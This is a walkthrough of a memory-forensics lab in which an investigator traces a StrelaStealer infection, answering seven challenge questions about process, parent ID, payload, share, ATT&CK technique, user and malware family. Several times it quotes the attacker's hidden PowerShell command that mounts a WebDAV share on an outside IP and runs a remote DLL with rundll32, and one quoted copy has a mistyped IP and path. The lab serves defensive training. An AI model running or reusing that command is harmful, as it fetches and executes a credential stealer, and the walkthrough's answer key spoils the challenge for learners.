

Reveal Lab Walkthrough

You are a forensic investigator at a financial institution, and your SIEM flagged unusual activity on a workstation with access to sensitive financial data. Suspecting a breach, you received a memory dump from the compromised machine. Your task is to analyze the memory for signs of compromise, trace the anomaly's origin, and assess its scope to contain the incident effectively.

Q1. Identifying the name of the malicious process helps in understanding the nature of the attack. What is the name of the malicious process?

Like always prefer using pstree to find malicious process,

```
powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry
```

Powershell.exe is the malicious process because of the command line showing signs of suspicious path.

Q2. Knowing the parent process ID (PPID) of the malicious process aids in tracing the process hierarchy and understanding the attack flow. What is the parent PID of the malicious process?

9112	4120	wordpad.exe
3692	4120	powershell.exe

The parent process of the malicious process is 4120 looking at the PPID column

Q3. Determining the file name used by the malware for executing the second-stage payload is crucial for identifying subsequent malicious activities. What is the file name that the malware uses to execute the second-stage payload?

```
\\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry
```

The file name that the attacker execute for second-stage payload is 3435.dll by looking at the cmdline the attacker run.

Q4. Identifying the shared directory on the remote server helps trace the resources targeted by the attacker. What is the name of the shared directory being accessed on the remote server?

```
powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry
```

The shared directory is davwwwroot

Q5. What is the MITRE ATT&CK sub-technique ID that describes the execution of a second-stage payload using a Windows utility to run the malicious file?

```
15.9.74.32@8888\davwwroot\ ; rundll32
```

System Binary Proxy Execution: Rundll32

Other sub-techniques of System Binary Proxy Execution (14)

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](#)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of

ID: T1218.011

Sub-technique of: T1218

Tactic: [Stealth](#)

Refer to MITRE ATT&CK website, search for this exact sub technique.

T1218.011

Q6. Identifying the username under which the malicious process runs helps in assessing the compromised account and its potential impact. What is the username that the malicious process runs under?

Use getsids command to help analyze process data and extract user-related information from the memory dump.

powershell.exe	S-1-5-21-3274565340-3808842250-3617890653-1001	Elon
powershell.exe	S-1-5-21-3274565340-3808842250-3617890653-513	Domain Users
powershell.exe	S-1-1-0	Everyone

Q7. Knowing the name of the malware family is essential for correlating the attack with known threats and developing appropriate defenses. What is the name of the malware family?

Put the malicious ip in virustotal and go to the report

Malware analysis <http://45.9.74.32:8888/davwwroot/3435.dll> ...

any.run

4 Oct 2024 ... Online sandbox report for <http://45.9.74.32:8888/davwwroot/3435.dll>, tagged as strela, stealer, verdict: Malicious activity.

Verdict:	Malicious activity
Threats:	Stealer StrelaStealer

The any.run report show the malware family.